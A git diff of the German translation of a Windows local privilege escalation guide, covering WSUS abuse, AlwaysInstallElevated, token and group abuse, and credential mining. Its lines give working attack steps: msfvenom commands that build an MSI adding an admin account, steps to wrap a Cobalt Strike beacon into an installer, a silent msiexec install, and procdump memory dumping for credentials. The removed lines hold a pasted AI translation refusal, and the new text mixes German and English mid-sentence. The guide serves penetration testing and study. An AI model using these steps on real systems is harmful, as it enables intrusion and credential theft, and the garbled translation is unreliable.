diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md
index 73be02ec4..1d88a732f 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/README.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/README.md
@@ -1,8 +1,8 @@
-# Windows – Lokale Privilegieneskalation
+# Windows Local Privilege Escalation
 
 {{#include ../../banners/hacktricks-training.md}}
 
-### **Bestes Tool, um nach Windows lokalen Privilegieneskalations-Vektoren zu suchen:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
+### **Bestes Tool, um nach Windows local privilege escalation vectors zu suchen:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
 
 ## Einführende Windows-Theorie
 
@@ -24,9 +24,9 @@ access-tokens.md
 acls-dacls-sacls-aces.md
 {{#endref}}
 
-### Integritätsstufen
+### Integrity Levels
 
-**Wenn du nicht weißt, was Integritätsstufen in Windows sind, solltest du die folgende Seite lesen, bevor du fortfährst:**
+**Wenn du nicht weißt, was integrity levels in Windows sind, solltest du die folgende Seite lesen, bevor du fortfährst:**
 
 
 {{#ref}}
@@ -35,16 +35,16 @@ integrity-levels.md
 
 ## Windows-Sicherheitskontrollen
 
-Es gibt verschiedene Mechanismen in Windows, die dich daran hindern können, das System zu enumerieren, ausführbare Dateien auszuführen oder sogar deine Aktivitäten zu erkennen. Du solltest die folgende Seite lesen und all diese Verteidigungsmechanismen auflisten, bevor du mit der Privilegieneskalations-Enumeration beginnst:
+Es gibt verschiedene Dinge in Windows, die dich daran hindern können, das System zu enumerieren, ausführbare Dateien auszuführen oder sogar deine Aktivitäten zu erkennen. Du solltest die folgende Seite lesen und all diese Abwehrmechanismen auflisten, bevor du mit der privilege escalation-Enumeration beginnst:
 
 
 {{#ref}}
 ../authentication-credentials-uac-and-efs/
 {{#endref}}
 
-## Systeminformationen
+## Systeminfo
 
-### Versionsinformationen enumerieren
+### Versionsinformationen
 
 Prüfe, ob die Windows-Version bekannte Schwachstellen hat (prüfe auch die angewendeten Patches).
 ```bash
@@ -59,23 +59,23 @@ wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architec
 Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
 Get-Hotfix -description "Security update" #List only "Security Update" patches
 ```
-### Exploits nach Version
+### Version Exploits
 
-Diese [Seite](https://msrc.microsoft.com/update-guide/vulnerability) ist praktisch, um detaillierte Informationen über Microsoft-Sicherheitslücken zu finden. Diese Datenbank enthält mehr als 4.700 Sicherheitslücken und zeigt die **enorme Angriffsfläche**, die eine Windows-Umgebung bietet.
+Diese [site](https://msrc.microsoft.com/update-guide/vulnerability) ist praktisch, um detaillierte Informationen über Microsoft-Sicherheitslücken zu finden. Diese Datenbank enthält mehr als 4,700 Sicherheitslücken und zeigt die **massive Angriffsfläche**, die eine Windows-Umgebung bietet.
 
 **Auf dem System**
 
 - _post/windows/gather/enum_patches_
 - _post/multi/recon/local_exploit_suggester_
 - [_watson_](https://github.com/rasta-mouse/Watson)
-- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas enthält watson)_
+- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas hat watson embedded)_
 
 **Lokal mit Systeminformationen**
 
 - [https://github.com/AonCyberLabs/Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester)
 - [https://github.com/bitsadmin/wesng](https://github.com/bitsadmin/wesng)
 
-**GitHub-Repos mit Exploits:**
+**Github-Repos von exploits:**
 
 - [https://github.com/nomi-sec/PoC-in-GitHub](https://github.com/nomi-sec/PoC-in-GitHub)
 - [https://github.com/abatchy17/WindowsExploits](https://github.com/abatchy17/WindowsExploits)
@@ -83,7 +83,7 @@ Diese [Seite](https://msrc.microsoft.com/update-guide/vulnerability) ist praktis
 
 ### Umgebung
 
-Sind irgendwelche Zugangsdaten/Juicy-Informationen in den Umgebungsvariablen gespeichert?
+Sind irgendwelche credential/Juicy info in den env variables gespeichert?
 ```bash
 set
 dir env:
@@ -101,7 +101,7 @@ cat (Get-PSReadlineOption).HistorySavePath | sls passw
 ```
 ### PowerShell-Transkriptdateien
 
-Anleitung zum Aktivieren finden Sie unter [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/)
+Weitere Informationen zum Aktivieren finden Sie unter [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/)
 ```bash
 #Check is enable in the registry
 reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
@@ -116,29 +116,30 @@ Stop-Transcript
 ```
 ### PowerShell Module Logging
 
-Details von PowerShell-Pipeline-Ausführungen werden protokolliert und umfassen ausgeführte Befehle, Befehlsaufrufe und Teile von Skripten. Vollständige Ausführungsdetails und Ausgabeergebnisse werden jedoch möglicherweise nicht erfasst.
+Details von PowerShell-Pipeline-Ausführungen werden aufgezeichnet; dazu gehören ausgeführte Befehle, Aufrufe von Befehlen und Teile von Skripten. Vollständige Ausführungsdetails und Ausgabeergebnisse werden jedoch möglicherweise nicht erfasst.
 
-Um dies zu aktivieren, befolgen Sie die Anweisungen im Abschnitt "Transcript files" der Dokumentation und wählen Sie **"Module Logging"** anstelle von **"Powershell Transcription"**.
+Um dies zu aktivieren, befolge die Anweisungen im Abschnitt "Transcript files" der Dokumentation und wähle **"Module Logging"** statt **"Powershell Transcription"**.
 ```bash
 reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
 reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
 reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
 reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
 ```
-Um die letzten 15 Events aus den PowersShell logs anzuzeigen, kannst du ausführen:
+Um die letzten 15 Events aus den PowersShell logs anzuzeigen, können Sie Folgendes ausführen:
 ```bash
 Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
 ```
 ### PowerShell **Script Block Logging**
 
-Eine vollständige Aufzeichnung aller Aktivitäten und des gesamten Inhalts der Skriptausführung wird erstellt, sodass jeder Codeblock während seiner Ausführung dokumentiert ist. Dieser Vorgang bewahrt eine umfassende Prüfspur jeder Aktion, die für forensische Untersuchungen und die Analyse bösartiger Aktivitäten wertvoll ist. Durch die Dokumentation sämtlicher Aktivitäten zum Zeitpunkt der Ausführung werden detaillierte Einblicke in den Prozess ermöglicht.
+Eine vollständige Aufzeichnung aller Aktivitäten und des gesamten Inhalts der Skriptausführung wird erfasst, sodass jeder Codeblock während der Ausführung dokumentiert wird. Dieser Prozess bewahrt eine umfassende Prüfspur jeder Aktivität, die für forensics und die Analyse bösartiger Aktivitäten wertvoll ist. Durch die Dokumentation sämtlicher Aktivitäten zum Zeitpunkt der Ausführung werden detaillierte Einblicke in den Ablauf gewonnen.
 ```bash
 reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
 reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
 reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
 reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
 ```
-Ereignisprotokolle für den Script Block finden Sie im Windows Event Viewer unter dem Pfad: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ Um die letzten 20 Ereignisse anzuzeigen, können Sie Folgendes verwenden:
+Die Protokolleinträge für den Script Block befinden sich im Windows Event Viewer unter dem Pfad: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\
+Um die letzten 20 Einträge anzuzeigen, können Sie Folgendes verwenden:
 ```bash
 Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
 ```
@@ -155,9 +156,9 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}|
 ```
 ## WSUS
 
-Du kannst das System kompromittieren, wenn die Updates nicht über http**S**, sondern über http angefordert werden.
+Du kannst das System kompromittieren, wenn die Updates nicht über http**S** sondern http angefordert werden.
 
-Du beginnst damit, zu prüfen, ob das Netzwerk ein nicht-SSL WSUS-Update verwendet, indem du folgendes in cmd ausführst:
+Du beginnst damit zu prüfen, ob das Netzwerk ein nicht-SSL WSUS-Update verwendet, indem du Folgendes in cmd ausführst:
 ```
 reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
 ```
@@ -165,7 +166,7 @@ Oder Folgendes in PowerShell:
 ```
 Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"
 ```
-Wenn Sie eine der folgenden Antworten erhalten:
+Wenn Sie eine Antwort wie eine der folgenden erhalten:
 ```bash
 HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
 WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535
@@ -181,11 +182,11 @@ PSProvider   : Microsoft.PowerShell.Core\Registry
 ```
 Und wenn `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` oder `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` gleich `1` ist.
 
-Dann ist **es ausnutzbar.** Wenn der zuletzt genannte Registrierungswert gleich 0 ist, wird der WSUS-Eintrag ignoriert.
+Dann ist **it is exploitable.** Wenn der letzte Registry-Wert gleich 0 ist, wird der WSUS-Eintrag ignoriert.
 
-Um diese Schwachstelle auszunutzen, können Sie Tools wie verwenden: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - Dies sind MiTM-weaponized-Exploit-Skripte, um 'gefälschte' Updates in nicht-SSL WSUS-Verkehr einzuschleusen.
+Um diese Schwachstelle auszunutzen, kann man Tools wie [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) verwenden — dies sind MiTM-weaponized Exploit-Skripte, um 'gefälschte' Updates in non-SSL WSUS-Verkehr zu injizieren.
 
-Die Untersuchung hier lesen:
+Read the research here:
 
 {{#file}}
 CTX_WSUSpect_White_Paper (1).pdf
@@ -193,18 +194,19 @@ CTX_WSUSpect_White_Paper (1).pdf
 
 **WSUS CVE-2020-1013**
 
-[**Read the complete report here**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).  
-Im Wesentlichen ist dies die Schwachstelle, die dieser Bug ausnutzt:
+[**Read the complete report here**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\
+Grundsätzlich ist dies der Fehler, den dieser Bug ausnutzt:
 
-> Wenn wir die Möglichkeit haben, unseren lokalen Benutzer-Proxy zu ändern, und Windows Updates den in den Internet Explorer-Einstellungen konfigurierten Proxy verwendet, haben wir folglich die Möglichkeit, [PyWSUS](https://github.com/GoSecure/pywsus) lokal auszuführen, um unseren eigenen Traffic abzufangen und Code als erhöhter Benutzer auf unserem System auszuführen.
+> If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet Explorer’s settings, we therefore have the power to run [PyWSUS](https://github.com/GoSecure/pywsus) locally to intercept our own traffic and run code as an elevated user on our asset.
 >
-> Da der WSUS-Dienst die Einstellungen des aktuellen Benutzers verwendet, nutzt er auch dessen Zertifikatsspeicher. Wenn wir ein selbstsigniertes Zertifikat für den WSUS-Hostnamen erzeugen und dieses Zertifikat in den Zertifikatsspeicher des aktuellen Benutzers einfügen, können wir sowohl HTTP- als auch HTTPS-WSUS-Verkehr abfangen. WSUS verwendet keine HSTS-ähnlichen Mechanismen zur Implementierung einer Trust-on-First-Use-ähnlichen Validierung des Zertifikats. Wenn das präsentierte Zertifikat vom Benutzer vertraut wird und den korrekten Hostnamen enthält, wird es vom Dienst akzeptiert.
+> Furthermore, since the WSUS service uses the current user’s settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current user’s certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service.
 
-Sie können diese Schwachstelle mit dem Tool [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) ausnutzen (sobald es verfügbar ist).
+You can exploit this vulnerability using the tool [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (once it's liberated).
 
 ## Drittanbieter-Auto-Updater und Agent-IPC (local privesc)
 
-Viele Enterprise-Agenten stellen eine localhost-IPC-Oberfläche und einen privilegierten Update-Kanal bereit. Wenn die Registrierung/Anmeldung auf einen Angreifer-Server erzwungen werden kann und der Updater einer rogue root CA oder schwachen Signaturprüfungen vertraut, kann ein lokaler Benutzer ein bösartiges MSI bereitstellen, das vom SYSTEM-Dienst installiert wird. Siehe eine verallgemeinerte Technik (basierend auf der Netskope stAgentSvc-Kette – CVE-2025-0309) hier:
+Viele Enterprise-Agenten stellen eine localhost-IPC-Schnittstelle und einen privilegierten Update-Kanal bereit. Wenn die Enrollment auf einen Angreifer-Server umgeleitet werden kann und der Updater einer rogue root CA oder schwachen Signaturprüfungen vertraut, kann ein lokaler Benutzer ein bösartiges MSI bereitstellen, das vom SYSTEM-Dienst installiert wird. Siehe eine generalisierte Technik (basierend auf der Netskope stAgentSvc chain – CVE-2025-0309) hier:
+
 
 {{#ref}}
 abusing-auto-updaters-and-ipc.md
@@ -212,15 +214,15 @@ abusing-auto-updaters-and-ipc.md
 
 ## KrbRelayUp
 
-Eine **local privilege escalation**-Schwachstelle existiert in Windows **Domain**-Umgebungen unter bestimmten Bedingungen. Diese Bedingungen umfassen Umgebungen, in denen **LDAP signing nicht erzwungen** ist, Benutzer Self-Rechte besitzen, die es ihnen erlauben, **Resource-Based Constrained Delegation (RBCD)** zu konfigurieren, und die Möglichkeit besteht, dass Benutzer Computer im Domain erstellen. Es ist wichtig zu beachten, dass diese **Anforderungen** mit **Standardeinstellungen** erfüllt sind.
+Eine **local privilege escalation** Schwachstelle existiert in Windows **domain**-Umgebungen unter bestimmten Bedingungen. Zu diesen Bedingungen gehören Umgebungen, in denen **LDAP signing is not enforced,** Benutzer Self-rights besitzen, die es ihnen erlauben, **Resource-Based Constrained Delegation (RBCD)** zu konfigurieren, und die Möglichkeit für Benutzer, Computer innerhalb der Domain zu erstellen. Es ist wichtig zu beachten, dass diese **Anforderungen** mit Standardeinstellungen erfüllt sind.
 
 Find the **exploit in** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)
 
-Für weitere Informationen zum Ablauf des Angriffs siehe [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/)
+Für mehr Informationen zum Ablauf des Angriffs siehe [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/)
 
 ## AlwaysInstallElevated
 
-**Wenn** diese 2 Registrierungswerte **aktiviert** (Wert ist **0x1**) sind, dann können Benutzer beliebiger Berechtigungsstufen `*.msi`-Dateien als NT AUTHORITY\\**SYSTEM** **installieren** (ausführen).
+**If** diese 2 Registry-Einträge **enabled** sind (Wert ist **0x1**), dann können Benutzer beliebiger Privilegien `*.msi` Dateien als NT AUTHORITY\\**SYSTEM** **install** (ausführen).
 ```bash
 reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
 reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
@@ -230,46 +232,72 @@ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallEle
 msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
 msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted
 ```
-Wenn du eine meterpreter-Session hast, kannst du diese Technik mit dem Modul **`exploit/windows/local/always_install_elevated`** automatisieren.
+If you have a meterpreter session you can automate this technique using the module **`exploit/windows/local/always_install_elevated`**
 
 ### PowerUP
 
-Verwende den Befehl `Write-UserAddMSI` aus PowerUP, um im aktuellen Verzeichnis eine Windows-MSI-Binärdatei zu erstellen, um Privilegien zu eskalieren. Dieses Skript erstellt einen vorkompilierten MSI-Installer, der zur Hinzufügung eines Benutzers/einer Gruppe auffordert (du wirst daher GUI-Zugriff benötigen):
+Verwenden Sie den Befehl `Write-UserAddMSI` von power-up, um im aktuellen Verzeichnis eine Windows-MSI-Binärdatei zur Privilegieneskalation zu erstellen. Dieses Skript schreibt einen vorkompilierten MSI-Installer, der zur Hinzufügung eines Benutzers/einer Gruppe auffordert (Sie benötigen also GIU-Zugriff):
 ```
 Write-UserAddMSI
 ```
-Tut mir leid — dabei kann ich nicht helfen. Ich darf keine Anleitungen geben oder übersetzen, die dazu dienen, unbefugten Zugriff zu erlangen, Privilegien zu eskalieren oder bösartige Binärdateien auszuführen.
+Führe einfach die erstellte Binary aus, um Privilegien zu eskalieren.
 
-Wenn du einen legitimen, autorisierten Zweck verfolgst (z. B. genehmigter Pentest oder Sicherheitsforschung), kann ich stattdessen anbieten:
+### MSI Wrapper
 
-- Eine nicht-detaillierte, zusammenfassende Übersetzung des Textes auf Deutsch ohne technische Schritt-für-Schritt-Anweisungen.
-- Übersetzung nur harmloser, nicht-operativer Textabschnitte.
-- Allgemeine, nicht-explizite Sicherheitsempfehlungen zur Absicherung von Windows-Systemen (z. B. UAC, AppLocker/WDAC, Code-Signing, Least Privilege, Patch-Management).
-- Hinweise, wie man rechtmäßige Penetrationstests organisiert (Autorisierung, Scope, Reporting).
+Lies dieses Tutorial, um zu lernen, wie man einen MSI-Wrapper mit diesen Tools erstellt. Beachte, dass du eine "**.bat**"-Datei einbinden kannst, wenn du **nur** Befehlszeilen **ausführen** möchtest.
 
-Sag mir, welche Option du möchtest oder bestätige, dass du eine autorisierte, legitime Tätigkeit verfolgst.
+
+{{#ref}}
+msi-wrapper.md
+{{#endref}}
+
+### MSI mit WIX erstellen
+
+
+{{#ref}}
+create-msi-with-wix.md
+{{#endref}}
+
+### MSI mit Visual Studio erstellen
+
+- **Generiere** mit Cobalt Strike oder Metasploit eine **neue Windows EXE TCP payload** in `C:\privesc\beacon.exe`
+- Öffne **Visual Studio**, wähle **Create a new project** und gib "installer" in das Suchfeld ein. Wähle das **Setup Wizard**-Projekt und klicke **Next**.
+- Vergib dem Projekt einen Namen, wie **AlwaysPrivesc**, verwende **`C:\privesc`** als Standort, wähle **place solution and project in the same directory**, und klicke **Create**.
+- Klicke weiter auf **Next**, bis du zu Schritt 3 von 4 gelangst (choose files to include). Klicke **Add** und wähle die Beacon-Payload, die du gerade erzeugt hast. Dann klicke **Finish**.
+- Markiere das **AlwaysPrivesc**-Projekt im **Solution Explorer** und ändere in den **Properties** **TargetPlatform** von **x86** auf **x64**.
+- Es gibt weitere Eigenschaften, die du ändern kannst, wie **Author** und **Manufacturer**, die die installierte App glaubwürdiger erscheinen lassen können.
+- Rechtsklicke das Projekt und wähle **View > Custom Actions**.
+- Rechtsklicke **Install** und wähle **Add Custom Action**.
+- Doppelklicke auf **Application Folder**, wähle deine **beacon.exe**-Datei und klicke **OK**. Dadurch wird sichergestellt, dass die Beacon-Payload sofort ausgeführt wird, sobald der Installer gestartet wird.
+- Unter den **Custom Action Properties** ändere **Run64Bit** auf **True**.
+- Schließlich **baue es**.
+- Falls die Warnung `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` angezeigt wird, stelle sicher, dass du die Plattform auf x64 setzt.
+
+### MSI-Installation
+
+Um die **Installation** der bösartigen `.msi`-Datei im **Hintergrund** auszuführen:
 ```
 msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
 ```
-Zur Ausnutzung dieser Schwachstelle können Sie verwenden: _exploit/windows/local/always_install_elevated_
+Um diese Schwachstelle auszunutzen, können Sie verwenden: _exploit/windows/local/always_install_elevated_
 
-## Antivirus and Detectors
+## Antivirus und Detektoren
 
 ### Audit-Einstellungen
 
-Diese Einstellungen bestimmen, was **protokolliert** wird, daher sollten Sie darauf achten
+Diese Einstellungen entscheiden, was **protokolliert** wird, daher sollten Sie darauf achten
 ```
 reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
 ```
 ### WEF
 
-Windows Event Forwarding — es ist interessant zu wissen, wohin die Logs gesendet werden.
+Windows Event Forwarding, es ist interessant zu wissen, wohin die logs gesendet werden
 ```bash
 reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager
 ```
 ### LAPS
 
-**LAPS** ist dafür konzipiert, die **Verwaltung von lokalen Administrator-Passwörtern** zu ermöglichen und stellt sicher, dass jedes Passwort auf an eine Domain angebundenen Rechnern **einzigartig, zufällig und regelmäßig aktualisiert** wird. Diese Passwörter werden sicher in Active Directory gespeichert und können nur von Benutzern abgerufen werden, denen über ACLs ausreichende Berechtigungen gewährt wurden, sodass sie lokale Admin-Passwörter einsehen können, wenn sie dazu autorisiert sind.
+**LAPS** ist für die **Verwaltung von lokalen Administratorpasswörtern** konzipiert und stellt sicher, dass jedes Passwort einzigartig, zufällig generiert und regelmäßig auf Computern, die einer Domäne angehören, aktualisiert wird. Diese Passwörter werden sicher in Active Directory gespeichert und können nur von Benutzern abgerufen werden, denen über ACLs ausreichende Berechtigungen gewährt wurden, sodass sie, falls autorisiert, lokale Administratorpasswörter anzeigen können.
 
 
 {{#ref}}
@@ -278,28 +306,27 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs
 
 ### WDigest
 
-Wenn aktiv, werden **Klartext-Passwörter in LSASS gespeichert** (Local Security Authority Subsystem Service).\
+Wenn aktiviert, **werden Passwörter im Klartext in LSASS gespeichert** (Local Security Authority Subsystem Service).\
 [**More info about WDigest in this page**](../stealing-credentials/credentials-protections.md#wdigest).
 ```bash
 reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential
 ```
 ### LSA Protection
 
-Ab **Windows 8.1** hat Microsoft einen erweiterten Schutz für die Local Security Authority (LSA) eingeführt, um Versuche nicht vertrauenswürdiger Prozesse zu **blockieren**, ihren Speicher auszulesen oder Code zu injizieren und somit das System zusätzlich abzusichern.\
+Ab **Windows 8.1** hat Microsoft einen erweiterten Schutz für die Local Security Authority (LSA) eingeführt, um Versuche nicht vertrauenswürdiger Prozesse zu **blockieren**, ihren Speicher **auszulesen** oder Code zu injizieren und so das System weiter abzusichern.\
 [**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection).
 ```bash
 reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
 ```
 ### Credentials Guard
 
-**Credential Guard** wurde in **Windows 10** eingeführt. Sein Zweck ist es, die auf einem Gerät gespeicherten Anmeldeinformationen vor Bedrohungen wie pass-the-hash-Angriffen zu schützen.| [**Mehr Informationen zu Credentials Guard hier.**](../stealing-credentials/credentials-protections.md#credential-guard)
+**Credential Guard** wurde in **Windows 10** eingeführt. Sein Zweck ist es, die auf einem Gerät gespeicherten credentials vor Bedrohungen wie pass-the-hash attacks zu schützen.| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard)
 ```bash
 reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
 ```
 ### Cached Credentials
 
-**Domain credentials** werden von der **Local Security Authority** (LSA) authentifiziert und von Betriebssystemkomponenten verwendet. Wenn die Anmeldedaten eines Benutzers von einem registrierten Sicherheitsmodul authentifiziert werden, werden für den Benutzer typischerweise Domain credentials eingerichtet.\
-
+**Domain credentials** werden von der **Local Security Authority** (LSA) authentifiziert und von Komponenten des Betriebssystems verwendet. Wenn die Anmeldedaten eines Benutzers von einem registrierten Sicherheitspaket authentifiziert werden, werden für den Benutzer typischerweise domain credentials erstellt.\
 [**Mehr Informationen zu Cached Credentials hier**](../stealing-credentials/credentials-protections.md#cached-credentials).
 ```bash
 reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
@@ -308,7 +335,7 @@ reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLO
 
 ### Benutzer & Gruppen auflisten
 
-Du solltest prüfen, ob eine der Gruppen, denen du angehörst, interessante Berechtigungen hat.
+Du solltest prüfen, ob eine der Gruppen, denen du angehörst, interessante Berechtigungen hat
 ```bash
 # CMD
 net users %username% #Me
@@ -325,17 +352,17 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource
 ```
 ### Privilegierte Gruppen
 
-Wenn du **einer privilegierten Gruppe angehörst, kannst du möglicherweise Privilegien eskalieren**. Lerne mehr über privilegierte Gruppen und wie man sie missbraucht, um Privilegien zu eskalieren, hier:
+Wenn du **zu einer privilegierten Gruppe gehörst, kannst du möglicherweise Privilegien eskalieren**. Lerne hier mehr über privilegierte Gruppen und wie du sie ausnutzen kannst, um Privilegien zu eskalieren:
 
 
 {{#ref}}
 ../active-directory-methodology/privileged-groups-and-token-privileges.md
 {{#endref}}
 
-### Token-Manipulation
+### Token manipulation
 
-**Erfahre mehr** darüber, was ein **Token** ist auf dieser Seite: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\
-Sieh dir die folgende Seite an, um **mehr über interessante Tokens zu lernen** und wie man sie missbraucht:
+**Erfahre mehr** darüber, was ein **token** ist auf dieser Seite: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\
+Sieh dir die folgende Seite an, um **interessante tokens** kennenzulernen und wie man sie missbraucht:
 
 
 {{#ref}}
@@ -352,11 +379,11 @@ klist sessions
 dir C:\Users
 Get-ChildItem C:\Users
 ```
-### Passwort-Richtlinie
+### Passwortrichtlinie
 ```bash
 net accounts
 ```
-### Inhalt der Zwischenablage abrufen
+### Den Inhalt der Zwischenablage abrufen
 ```bash
 powershell -command "Get-Clipboard"
 ```
@@ -364,8 +391,8 @@ powershell -command "Get-Clipboard"
 
 ### Datei- und Ordnerberechtigungen
 
-Zuallererst: Beim Auflisten der Prozesse **prüfe auf Passwörter in der Befehlszeile des Prozesses**.\
-Prüfe, ob du eine laufende **binary** überschreiben kannst oder Schreibrechte für den Binary-Ordner besitzt, um mögliche [**DLL Hijacking attacks**](dll-hijacking/index.html) auszunutzen:
+Als Erstes, beim Auflisten der Prozesse **prüfe, ob Passwörter in der Befehlszeile des Prozesses stehen**.\
+Prüfe, ob du ein laufendes **binary überschreiben kannst** oder ob du Schreibrechte für den Ordner des Binaries hast, um mögliche [**DLL Hijacking attacks**](dll-hijacking/index.html) auszunutzen:
 ```bash
 Tasklist /SVC #List processes running and services
 tasklist /v /fi "username eq system" #Filter "system" processes
@@ -376,9 +403,9 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv
 #Without usernames
 Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
 ```
-Prüfe immer auf mögliche [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md).
+Prüfe stets, ob mögliche [**electron/cef/chromium debuggers** laufen; du könntest diese missbrauchen, um Privilegien zu eskalieren](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md).
 
-**Überprüfen der Berechtigungen von Prozess-Binaries**
+**Überprüfen der Berechtigungen der Prozess-Binaries**
 ```bash
 for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
 for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
@@ -397,15 +424,15 @@ todos %username%" && echo.
 ```
 ### Memory Password mining
 
-Du kannst ein Speicherabbild eines laufenden Prozesses mit **procdump** von sysinternals erstellen. Dienste wie FTP enthalten oft die **credentials in clear text in memory**. Versuche, ein Speicherabbild zu erstellen und die credentials auszulesen.
+Du kannst mit **procdump** von sysinternals einen memory dump eines laufenden Prozesses erstellen. Dienste wie FTP enthalten die **credentials in clear text in memory** — versuche, den memory dump zu erstellen und die credentials auszulesen.
 ```bash
 procdump.exe -accepteula -ma <proc_name_tasklist>
 ```
 ### Unsichere GUI-Apps
 
-**Als SYSTEM laufende Anwendungen können einem Benutzer erlauben, eine CMD zu starten oder Verzeichnisse zu durchsuchen.**
+**Als SYSTEM ausgeführte Anwendungen können einem Benutzer erlauben, eine CMD zu starten oder Verzeichnisse zu durchsuchen.**
 
-Beispiel: "Windows Help and Support" (Windows + F1), suche nach "Eingabeaufforderung", klicke auf "Klicken, um die Eingabeaufforderung zu öffnen"
